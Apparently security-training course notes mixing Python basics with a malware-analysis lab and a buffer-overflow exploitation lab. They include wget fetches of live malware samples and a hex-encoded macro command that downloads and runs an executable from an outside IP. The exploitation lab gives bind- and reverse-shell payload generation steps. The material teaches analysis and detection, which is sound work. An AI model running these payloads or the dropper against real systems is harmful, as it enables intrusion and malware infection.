8781
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
8782
07100000 cc              int     3
8783
0:019> u
8784
07100000 cc              int     3
8785
07100001 cc              int     3
8786
07100002 cc              int     3
8787
07100003 cc              int     3
8788
07100004 cc              int     3
8789
07100005 cc              int     3
8790
07100006 cc              int     3
8791
07100007 cc              int     3
8792
 
8793
Create vlc3.html (Copy vlc2.html to vlc3.html)
8794
----------------------------------------------
8795
Win32 Reverse Shell
8796
- no restricted characters
8797
- Encoder NONE
8798
- use the Javascript encoded payload generated by msfweb
8799
8800
##########################
8801
# Python Lambda Function #
8802
##########################
8803
8804
8805
Python allows you to create anonymous function i.e function having no names using a facility called lambda function.
8806
8807
lambda functions are small functions usually not more than a line. It can have any number of arguments just like a normal function. The body of lambda functions is very small and consists of only one expression. The result of the expression is the value when the lambda is applied to an argument. Also there is no need for any return statement in lambda function.
8808
8809
Let’s take an example:
8810
8811
Consider a function multiply()
8812
8813
def multiply(x, y):
8814
    return x * y
8815
8816
8817
This function is too small, so let’s convert it into a lambda function.
8818
8819
To create a lambda function first write keyword lambda followed by one of more arguments separated by comma, followed by colon sign ( : ), followed by a single line expression.
8820
8821
---------------------------Type This-----------------------------------
8822
8823
>>> r = lambda x, y: x * y
8824
>>> r(12,3)
8825
36
8826
-----------------------------------------------------------------------
8827
8828
Here we are using two arguments x  and y , expression after colon is the body of the lambda function. As you can see lambda function has no name and is called through the variable it is assigned to.
8829
8830
You don’t need to assign lambda function to a variable.
8831
8832
---------------------------Type This-----------------------------------
8833
8834
>>> (lambda x, y: x * y)(3,4)
8835
12
8836
-----------------------------------------------------------------------
8837
8838
Note that lambda function can’t contain more than one expression.
8839
8840
8841
8842
##################
8843
# Python Classes #
8844
##################
8845
8846
8847
****************
8848
* Introduction *
8849
****************
8850
8851
Classes are the cornerstone of Object Oriented Programming. They are the blueprints used to create objects. And, as the name suggests, all of Object Oriented Programming centers around the use of objects to build programs. 
8852
8853
You don't write objects, not really. They are created, or instantiated, in a program using a class as their basis. So, you design objects by writing classes. That means that the most important part of understanding Object Oriented Programming is understanding what classes are and how they work.
8854
8855
8856
***********************
8857
* Real World Examples *
8858
***********************
8859
8860
8861
This next part if going to get abstract. You can think of objects in programming just like objects in the real world. Classes are then the way you would describe those objects and the plans for what they can do. 
8862
8863
Start off by thinking about a web vuln scanner. 
8864
8865
What about what they can do? Nearly every web vuln scanner can do the same basic things, but they just might do them differently or at different speeds. You could then describe the actions that a vuln scanner can perform using functions. In Object Oriented Programming, though, functions are called methods. 
8866
8867
So, if you were looking to use "vuln scanner" objects in your program, you would create a "vuln scanner" class to serve as a blueprint with all of the variables that you would want to hold information about your "vuln scanner" objects and all of the methods to describe what you would like your vuln scanner to be able to do.
8868
8869
8870
******************
8871
* A Python Class *
8872
******************
8873
8874
8875
Now that you have a general idea of what a class is, it's best to take a look at a real Python class and study how it is structured.
8876
8877
---------------------------Paste This-----------------------------------
8878
8879
class WebVulnScanner(object):
8880
    make = 'Acunetix'
8881
    model = '10.5'
8882
    year = '2014'
8883
    version ='Consultant Edition'
8884
8885
    profile = 'High Risk'
8886
8887
8888
    def crawling(self, speed):
8889
        print("Crawling at %s" % speed)
8890
8891
8892
    def scanning(self, speed):
8893
        print("Scanning at %s" % speed)
8894
-----------------------------------------------------------------------
8895
8896
8897
Creating a class looks a lot like creating a function. Instead of def you use the keyword, class. Then, you give it a name, just like you would a function. It also has parenthesis like a function, but they don't work the way you think. For a class the parenthesis allow it to extend an existing class. Don't worry about this right now, just understand that you have to put object there because it's the base of all other classes. 
8898
8899
From there, you can see a bunch of familiar things that you'd see floating around any Python program, variables and functions. There are a series of variables with information about the scanner and a couple of methods(functions) describing what the scanner can do. You can see that each of the methods takes two parameters, self and speed. You can see that "speed" is used in the methods to print out how fast the scanner is scanning, but "self" is different.
8900
8901
8902
*****************
8903
* What is Self? *
8904
*****************
8905
8906
Alright, so "self" is the biggest quirk in the way that Python handles Object Oriented Programming. In most languages, classes and objects are just aware of their variables in their methods. Python needs to be told to remember them. When you pass "self" to a method, you are essentially passing that object to its method to remind it of all of the variables and other methods in that object. You also need to use it when using variables in methods. For example, if you wanted to output the model of the scanner along with the speed, it looks like this.
8907
8908
---------------------------Type This-----------------------------------
8909
8910
print("Your %s is crawling at %s" % (self.model, speed))
8911
-----------------------------------------------------------------------
8912
8913
It's awkward and odd, but it works, and it's really not worth worrying about. Just remember to include "self" as the first parameter of your methods and "self." in front of your variables, and you'll be alright.
8914
8915
8916
*****************
8917
* Using A Class *
8918
*****************
8919
8920
8921
You're ready to start using the WebVulnScanner class. Create a new Python file and paste the class in. Below, you can create an object using it. Creating, or instantiating, an object in Python looks like the line below.
8922
---------------------------Type This-----------------------------------
8923
8924
myscanner = WebVulnScanner()
8925
-----------------------------------------------------------------------
8926
8927
8928
That's it. To create a new object, you just have to make a new variable and set it equal to class that you are basing your object on. 
8929
8930
Get your scanner object to print out its make and model.
8931
---------------------------Type This-----------------------------------
8932
8933
print("%s %s" % (myscanner.make, myscanner.model))
8934
-----------------------------------------------------------------------
8935
8936
The use of a . between an object and its internal components is called the dot notation. It's very common in OOP. It works for methods the same way it does for variables. 
8937
---------------------------Type This-----------------------------------
8938
8939
myscanner.scanning('10req/sec')
8940
-----------------------------------------------------------------------
8941
8942
What if you want to change the profile of your scanning? You can definitely do that too, and it works just like changing the value of any other variable. Try printing out the profile of your scanner first. Then, change the profile, and print it out again.
8943
---------------------------Type This-----------------------------------
8944
8945
print("The profile of my scanner settings is %s" % myscanner.profile)
8946
myscanner.profile = "default"
8947
print("The profile of my scanner settings is %s" % myscanner.profile)
8948
-----------------------------------------------------------------------
8949
8950
Your scanner settings are default now. What about a new WebVulnScanner? If you made a new scanner object, would the scanning profile be default? Give it a shot.
8951
---------------------------Type This-----------------------------------
8952
8953
mynewscanner = WebVulnScanner()
8954
print("The scanning profile of my new scanner is %s" % mynewscanner.profile)
8955
-----------------------------------------------------------------------
8956
8957
That one's high risk. New objects are copied from the class, and the class still says that the profile is high risk. Objects exist in the computer's memory while a program is running. When you change the values within an object, they are specific to that object as it exists in memory. The changes won't persist once the program stops and won't change the class that it was created from.
8958
8959
8960
#########################################
8961
# The self variable in python explained #
8962
#########################################
8963
8964
So lets start by making a class involving the self variable.
8965
8966
A simple class :
8967
8968
So here is our class:
8969
---------------------------Paste This-----------------------------------
8970
8971
class port(object):
8972
    open = False
8973
    def open_port(self):
8974
        if not self.open:
8975
            print("port open")
8976
8977
-----------------------------------------------------------------------
8978
8979
First let me explain the above code without the technicalities. First of all we make a class port. Then we assign it a property “open” which is currently false. After that we assign it a function open_port which can only occur if “open” is False which means that the port is open.
8980
8981
Making a Port:
8982
8983
Now that we have made a class for a Port, lets actually make a port:
8984
---------------------------Type This-----------------------------------
8985
8986
x = port()
8987
-----------------------------------------------------------------------
8988
8989
Now x is a port which has a property open and a function open_port. Now we can access the property open by typing:
8990
---------------------------Type This-----------------------------------
8991
8992
x.open
8993
-----------------------------------------------------------------------
8994
8995
The above command is same as:
8996
---------------------------Type This-----------------------------------
8997
8998
port().open
8999
-----------------------------------------------------------------------
9000
9001
Now you can see that self refers to the bound variable or object. In the first case it was x because we had assigned the port class to x whereas in the second case it referred to port(). Now if we have another port y, self will know to access the open value of y and not x. For example check this example:
9002
---------------------------Type This-----------------------------------
9003
9004
>>> x = port()
9005
>>> x.open
9006
False
9007
>>> y = port()
9008
>>> y.open = True
9009
>>> y.open
9010
True
9011
>>> x.open
9012
False
9013
9014
-----------------------------------------------------------------------
9015
The first argument of every class method, including init, is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object; in other class methods, it refers to the instance whose method was called. For example the below code is the same as the above code.
9016
9017
---------------------------Paste This-----------------------------------
9018
9019
class port(object):
9020
    open = False
9021
    def open_port(this):
9022
        if not this.open:
9023
            print("port open")
9024
9025
-----------------------------------------------------------------------
9026
9027
9028
9029
9030
9031
9032
##################################
9033
# Day 3 Homework videos to watch #
9034
##################################
9035
Here is your first set of youtube videos that I'd like for you to watch:
9036
https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 21-30)
9037
9038
9039
9040
9041
9042
9043
9044
9045
9046
9047
9048
9049
                            #######################################
9050
----------- ############### # Day 4: Malware analysis with Python # ############### -----------
9051
                            #######################################
9052
9053
9054
###############################
9055
# Lesson 28: Malware Analysis #
9056
###############################
9057
 
9058
 
9059
 
9060
 
9061
################
9062
# The Scenario #
9063
################
9064
You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
9065
 
9066
 
9067
The fastest thing you can do is perform static analysis.
9068
---------------------------Type This-----------------------------------
9069
9070
sudo pip install olefile
9071
     infosecaddicts
9072
 
9073
mkdir ~/Desktop/oledump
9074
 
9075
cd ~/Desktop/oledump
9076
 
9077
wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
9078
 
9079
unzip oledump_V0_0_22.zip
9080
 
9081
wget http://45.63.104.73/064016.zip
9082
 
9083
unzip 064016.zip
9084
     infected
9085
 
9086
python oledump.py 064016.doc
9087
 
9088
python oledump.py 064016.doc -s A4 -v
9089
-----------------------------------------------------------------------
9090
9091
- From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
9092
- Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
9093
 
9094
---------------------------Type This-----------------------------------
9095
9096
python oledump.py 064016.doc -s A5 -v
9097
-----------------------------------------------------------------------
9098
9099
- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
9100
 
9101
---------------------------Type This-----------------------------------
9102
9103
python oledump.py 064016.doc -s A3 -v
9104
 -----------------------------------------------------------------------
9105
9106
- Look for "GVhkjbjv" and you should see:
9107
 
9108
636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
9109
 
9110
- Take that long blob that starts with 636D and finishes with 653B and paste it in:
9111
http://www.rapidtables.com/convert/number/hex-to-ascii.htm
9112
 
9113
 
9114
 
9115
###################
9116
# Static Analysis #
9117
###################
9118
 
9119
- After logging please open a terminal window and type the following commands:
9120
---------------------------Type This-----------------------------------
9121
 
9122
cd Desktop/
9123
 
9124
wget http://45.63.104.73/wannacry.zip
9125
 
9126
unzip wannacry.zip
9127
     infected
9128
 
9129
file wannacry.exe
9130
 
9131
mv wannacry.exe malware.pdf
9132
 
9133
file malware.pdf
9134
 
9135
mv malware.pdf wannacry.exe
9136
 
9137
hexdump -n 2 -C wannacry.exe
9138
 
9139
-----------------------------------------------------------------------
9140
 
9141
 
9142
 
9143
***What is '4d 5a' or 'MZ'***
9144
Reference:
9145
http://www.garykessler.net/library/file_sigs.html
9146
 
9147
 
9148
 
9149
---------------------------Type This-----------------------------------
9150
 
9151
 
9152
objdump -x wannacry.exe
9153
 
9154
strings wannacry.exe
9155
 
9156
strings --all wannacry.exe | head -n 6
9157
 
9158
strings wannacry.exe | grep -i dll
9159
 
9160
strings wannacry.exe | grep -i library
9161
 
9162
strings wannacry.exe | grep -i reg
9163
 
9164
strings wannacry.exe | grep -i key
9165
 
9166
strings wannacry.exe | grep -i rsa
9167
 
9168
strings wannacry.exe | grep -i open
9169
 
9170
strings wannacry.exe | grep -i get
9171
 
9172
strings wannacry.exe | grep -i mutex
9173
 
9174
strings wannacry.exe | grep -i irc
9175
 
9176
strings wannacry.exe | grep -i join        
9177
 
9178
strings wannacry.exe | grep -i admin
9179
 
9180
strings wannacry.exe | grep -i list
9181
 
9182
 
9183
 
9184
-----------------------------------------------------------------------
9185
 
9186
 
9187
 
9188
 
9189
 
9190
 
9191
 
9192
 
9193
Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
9194
 
9195
Quick Google search for "wannacry ransomeware analysis"
9196
 
9197
 
9198
Reference
9199
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
9200
 
9201
- Yara Rule -
9202
 
9203
 
9204
Strings:
9205
$s1 = “Ooops, your files have been encrypted!” wide ascii nocase
9206
$s2 = “Wanna Decryptor” wide ascii nocase
9207
$s3 = “.wcry” wide ascii nocase
9208
$s4 = “WANNACRY” wide ascii nocase
9209
$s5 = “WANACRY!” wide ascii nocase
9210
$s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
9211
 
9212
 
9213
 
9214
 
9215
 
9216
 
9217
 
9218
 
9219
Ok, let's look for the individual strings
9220
 
9221
---------------------------Type This-----------------------------------
9222
 
9223
 
9224
strings wannacry.exe | grep -i ooops
9225
 
9226
strings wannacry.exe | grep -i wanna
9227
 
9228
strings wannacry.exe | grep -i wcry
9229
 
9230
strings wannacry.exe | grep -i wannacry
9231
 
9232
strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
9233
 
9234
 
9235
-----------------------------------------------------------------------
9236
9237
 
9238
 
9239
 
9240
 
9241
####################################
9242
# Tired of GREP - let's try Python #
9243
####################################
9244
Decided to make my own script for this kind of stuff in the future. I
9245
 
9246
Reference1:
9247
http://45.63.104.73/analyse_malware.py
9248
 
9249
This is a really good script for the basics of static analysis
9250
 
9251
Reference:
9252
https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
9253
 
9254
 
9255
This is really good for showing some good signatures to add to the Python script
9256
 
9257
 
9258
Here is my own script using the signatures (started this yesterday, but still needs work):
9259
https://pastebin.com/guxzCBmP
9260
 
9261
 
9262
---------------------------Type This-----------------------------------
9263
9264
 
9265
sudo apt install -y python-pefile
9266
     infosecaddicts
9267
 
9268
 
9269
 
9270
wget https://pastebin.com/raw/guxzCBmP
9271
 
9272
 
9273
mv guxzCBmP am.py
9274
 
9275
 
9276
vi am.py
9277
 
9278
python am.py wannacry.exe
9279
 
9280
 
9281
-----------------------------------------------------------------------
9282
9283
 
9284
 
9285
 
9286
 
9287
 
9288
 
9289
 
9290
##############
9291
# Yara Ninja #
9292
##############
9293
 ---------------------------Type This-----------------------------------
9294
9295
cd ~/Desktop
9296
 
9297
sudo apt-get remove -y yara
9298
     infosecaddcits
9299
 
9300
sudo apt -y install libtool
9301
     infosecaddicts
9302
 
9303
wget https://github.com/VirusTotal/yara/archive/v3.6.0.zip
9304
 
9305
 
9306
unzip v3.6.0.zip
9307
 
9308
cd yara-3.6.0
9309
 
9310
./bootstrap.sh
9311
 
9312
./configure
9313
 
9314
make
9315
 
9316
sudo make install
9317
    infosecaddicts
9318
 
9319
yara -v
9320
 
9321
cd ~/Desktop
9322
 
9323
 
9324
-----------------------------------------------------------------------
9325
 
9326
 
9327
NOTE:
9328
McAfee is giving these yara rules - so add them to the hashes.txt file
9329
 
9330
Reference:
9331
https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
9332
 
9333
----------------------------------------------------------------------------
9334
rule wannacry_1 : ransom
9335
{
9336
    meta:
9337
        author = "Joshua Cannell"
9338
        description = "WannaCry Ransomware strings"
9339
        weight = 100
9340
        date = "2017-05-12"
9341
 
9342
    strings:
9343
        $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
9344
        $s2 = "Wanna Decryptor" wide ascii nocase
9345
        $s3 = ".wcry" wide ascii nocase
9346
        $s4 = "WANNACRY" wide ascii nocase
9347
        $s5 = "WANACRY!" wide ascii nocase
9348
        $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
9349
 
9350
    condition:
9351
        any of them
9352
}
9353
 
9354
----------------------------------------------------------------------------
9355
rule wannacry_2{
9356
    meta:
9357
        author = "Harold Ogden"
9358
        description = "WannaCry Ransomware Strings"
9359
        date = "2017-05-12"
9360
        weight = 100
9361
 
9362
    strings:
9363
        $string1 = "msg/m_bulgarian.wnry"
9364
        $string2 = "msg/m_chinese (simplified).wnry"
9365
        $string3 = "msg/m_chinese (traditional).wnry"
9366
        $string4 = "msg/m_croatian.wnry"
9367
        $string5 = "msg/m_czech.wnry"
9368
        $string6 = "msg/m_danish.wnry"
9369
        $string7 = "msg/m_dutch.wnry"
9370
        $string8 = "msg/m_english.wnry"
9371
        $string9 = "msg/m_filipino.wnry"
9372
        $string10 = "msg/m_finnish.wnry"
9373
        $string11 = "msg/m_french.wnry"
9374
        $string12 = "msg/m_german.wnry"
9375
        $string13 = "msg/m_greek.wnry"
9376
        $string14 = "msg/m_indonesian.wnry"
9377
        $string15 = "msg/m_italian.wnry"
9378
        $string16 = "msg/m_japanese.wnry"
9379
        $string17 = "msg/m_korean.wnry"
9380
        $string18 = "msg/m_latvian.wnry"
9381
        $string19 = "msg/m_norwegian.wnry"
9382
        $string20 = "msg/m_polish.wnry"
9383
        $string21 = "msg/m_portuguese.wnry"
9384
        $string22 = "msg/m_romanian.wnry"
9385
        $string23 = "msg/m_russian.wnry"
9386
        $string24 = "msg/m_slovak.wnry"
9387
        $string25 = "msg/m_spanish.wnry"
9388
        $string26 = "msg/m_swedish.wnry"
9389
        $string27 = "msg/m_turkish.wnry"
9390
        $string28 = "msg/m_vietnamese.wnry"
9391
 
9392
 
9393
    condition:
9394
        any of ($string*)
9395
}
9396
----------------------------------------------------------------------------
9397
 
9398
 
9399
#######################
9400
# External DB Lookups #
9401
#######################
9402
 
9403
Creating a malware database (sqlite)
9404
---------------------------Type This-----------------------------------
9405
9406
sudo apt install -y python-simplejson python-simplejson-dbg
9407
    infosecaddicts
9408
 
9409
 
9410
 
9411
wget https://raw.githubusercontent.com/mboman/mart/master/bin/avsubmit.py
9412
 
9413
 
9414
 
9415
python avsubmit.py -f wannacry.exe -e
9416
 
9417
----------------------------------------------------------------------------
9418
 
9419
Analysis of the file can be found at:
9420
http://www.threatexpert.com/report.aspx?md5=84c82835a5d21bbcf75a61706d8ab549
9421
 
9422
 
9423
 
9424
 
9425
 
9426
 
9427
 
9428
 
9429
 
9430
###############################
9431
# Creating a Malware Database #
9432
###############################
9433
Creating a malware database (mysql)
9434
-----------------------------------
9435
- Step 1: Installing MySQL database
9436
- Run the following command in the terminal:
9437
---------------------------Type This-----------------------------------
9438
 
9439
sudo apt install -y mysql-server
9440
     infosecaddicts
9441
     
9442
- Step 2: Installing Python MySQLdb module
9443
- Run the following command in the terminal:
9444
 
9445
sudo apt-get build-dep python-mysqldb
9446
     infosecaddicts
9447
 
9448
sudo apt install -y python-mysqldb
9449
     infosecaddicts
9450
 
9451
Step 3: Logging in
9452
Run the following command in the terminal:
9453
 
9454
mysql -u root -p                    (set a password of 'malware')
9455
 
9456
- Then create one database by running following command:
9457
 
9458
create database malware;
9459
 
9460
exit;
9461
 
9462
wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
9463
 
9464
vi mal_to_db.py                     (fill in database connection information)
9465
 
9466
python mal_to_db.py -i
9467
 
9468
------- check it to see if the files table was created ------
9469
 
9470
mysql -u root -p
9471
    malware
9472
 
9473
show databases;
9474
 
9475
use malware;
9476
 
9477
show tables;
9478
 
9479
describe files;
9480
 
9481
exit;
9482
 
9483
-----------------------------------------------------------------------
9484
 
9485
 
9486
- Now add the malicious file to the DB
9487
---------------------------Type This-----------------------------------
9488
9489
 
9490
python mal_to_db.py -f wannacry.exe -u
9491
 
9492
-----------------------------------------------------------------------
9493
9494
 
9495
- Now check to see if it is in the DB
9496
--------------------------Type This-----------------------------------
9497
9498
mysql -u root -p
9499
    malware
9500
 
9501
mysql> use malware;
9502
 
9503
select id,md5,sha1,sha256,time FROM files;
9504
 
9505
mysql> quit;
9506
 
9507
-----------------------------------------------------------------------
9508
 
9509
 
9510
 
9511
######################################
9512
# PCAP Analysis with forensicPCAP.py #
9513
######################################
9514
---------------------------Type This-----------------------------------
9515
9516
cd ~/Desktop
9517
wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
9518
sudo easy_install cmd2
9519
 
9520
python forensicPCAP.py Browser\ Forensics/suspicious-time.pcap
9521
 
9522
ForPCAP >>> help
9523
 
9524
 
9525
Prints stats about PCAP
9526
ForPCAP >>> stat
9527
 
9528
 
9529
Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
9530
ForPCAP >>> dns
9531
 
9532
ForPCAP >>> show
9533
 
9534
 
9535
Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
9536
ForPCAP >>> dstports
9537
 
9538
ForPCAP >>> show
9539
 
9540
 
9541
Prints the number of ip source and store them.
9542
ForPCAP >>> ipsrc
9543
 
9544
 
9545
Prints the number of web's requests and store them
9546
ForPCAP >>> web
9547
 
9548
 
9549
Prints the number of mail's requests and store them
9550
ForPCAP >>> mail
9551
9552
-----------------------------------------------------------------------
9553
9554
9555
9556
9557
9558
9559
##################################
9560
# Day 4 Homework videos to watch #
9561
##################################
9562
Here is your first set of youtube videos that I'd like for you to watch:
9563
https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 31-40)
9564
9565
9566
9567
9568
9569
9570
9571
9572
9573
9574
                            ##########################################
9575
----------- ############### # Day 4: Debugger automation with Python # ############### -----------
9576
                            ##########################################
9577
9578
In this lab we are going to exploit the bufferoverflow in the program which is a simple tcp server using the strcpy in its code. Download the server's .exe file from here http://code.securitytube.net/Server-Strcpy.exe
9579
9580
Run the server on windows machine.
9581
9582
Connect to the server from an ubuntu machine using nc <ip-adress of windows> 10000. Send some character from there and see if it returns the same.
9583
9584
9585
9586
It's a simple echo server. Reflects whatever you type in the input we send to this program, is stored using strcpy.  Let us write a simple python program that sends a large input to the program and see if it can handle large inputs. 
9587
---------------------------Type This-----------------------------------
9588
9589
vim strcpy.py
9590
9591
./strcpy <server adress>
9592
9593
-----------------------------------------------------------------------
9594
9595
9596
On the server machine see if the server crashes and what error it shows.
9597
9598
Now let's find out what happens behind the scenes when you run the python script against your echo server. When you do not have the source code of the program that you need to debug, the only way to do so is to take the binary, disassemble and debug it to actually see what is happening. The immunity debugger is the tool which does all that.
9599
9600
Open the server.exe file in immunity debugger. It will show information about the binary in different sections including Registers [EIP, ESP, EBP, etc], the machine language equivalent and addresses of the binary with their values.
9601
9602
Now press the run button and the binary will be in the “Running” state. Execute the strcpy.py script as done previously. The binary will crash again and immunity debugger will show it in “Paused” State. It will also show the stack with its values and ASCII equivalent which is seen as “AAAA...” as all the characters sent from the script are As, as shown in the figure below.
9603
9604
9605
We can also write python scripts using the python shell provided by the Immunity Debugger. The scripts we write here need to be placed in “C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands” directory, which will be automatically made available to immunity debugger at run-time. 
9606
9607
 
9608
Now open the python shell, Create “New Window” and save it as spse-demo in the PyCommands directory mentioned above. 
9609
9610
9611
9612
In order to leverage the rich set of APIs that Immunity provides, import the immlib which ships with the Immunity framework. At this instance write a simple script that simply prints hello in the main method. To run the script write the name of the script preceded by the exclamation mark e.g !spse-demo. You can also write to the Log window by:
9613
imm.log(“Anything to log”)
9614
9615
Now the problem with the debugger is that it prints all the messages at the end of the script execution, which is quite hectic if you are writing a long script which requires incremental updates. To serve the purpose use imm.updateLog() method so that the Log is updated instantly.
9616
9617
Our command will also be visible in the List of PyCommands  which are available in the Immunity.
9618
9619
9620
To run a process we need to open the process in Immunity Debugger and run it as shown earlier, what if we want to run the same process programmatically. 
9621
9622
Create a new python script naming spse-pro.py similarly as in the previous example. Open the process by imm.openProcess(“path to the binary”) e.g my binary was C:\Server-Strcpy.exe
9623
9624
9625
Similarly, you can attach the Immunity Debugger to an already running process by the imm.Attach(pid) method.
9626
9627
Now inside a running process we need to get a list of modules, and for each of these modules we need to get a set of properties like Name, Base Address, Entry Point, and Size of that process. Useful methods are getAllModules and its child methods which are elaborated in the Immunity's online documentation. 
9628
9629
9630
9631
9632
Now we will use the Immunity Debugger to actually exploit the buffer overflow.
9633
9634
As we know the stack grows from high-memory to low-memory. When we send a large buffer to our program/binary the return address is over-written, the EIP ends up with a garbage value and the program crashed. The idea is to specially craft the buffer in a way to over-write the return address with a chosen value, which is the payload we want to execute on that machine.
9635
9636
To start, we'll revisit our old python script and a metasploit utility patter_creat.rb to create a random pattern of 500 characters.
9637
9638
 
9639
9640
Place this pattern in the python attack script, run the server in the Immunity, run the attack script. See that the binary has crashed and the EIP is populated with the value 6A413969. Now we need to find at which offset this value is in our pattern, pattern_offset.rb will server the purpose.
9641
9642
 
9643
9644
From this we know the value from offset 268 precisely corrupts the EIP. Meaning we really don't care about the first 268 bytes of the buffer, what we need to focus is the return address. 
9645
9646
Now next to EIP there is ESP register, we will populate the ESP with our payload and place a jump ESP instruction in the EIP register. The OPCode for the JUMP ESP instruction is 71AB7BFB, which we will append to our buffer in reverse order, as the bytes are stored in reverse order in stack. For payload we use metsploit to generate our payload and encode it for x86 architecture. Following command will suffice
9647
9648
---------------------------Type This-----------------------------------
9649
9650
msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b “\x90” -t c
9651
-----------------------------------------------------------------------
9652
9653
This will generate a payload, append it to the buffer and run the script again.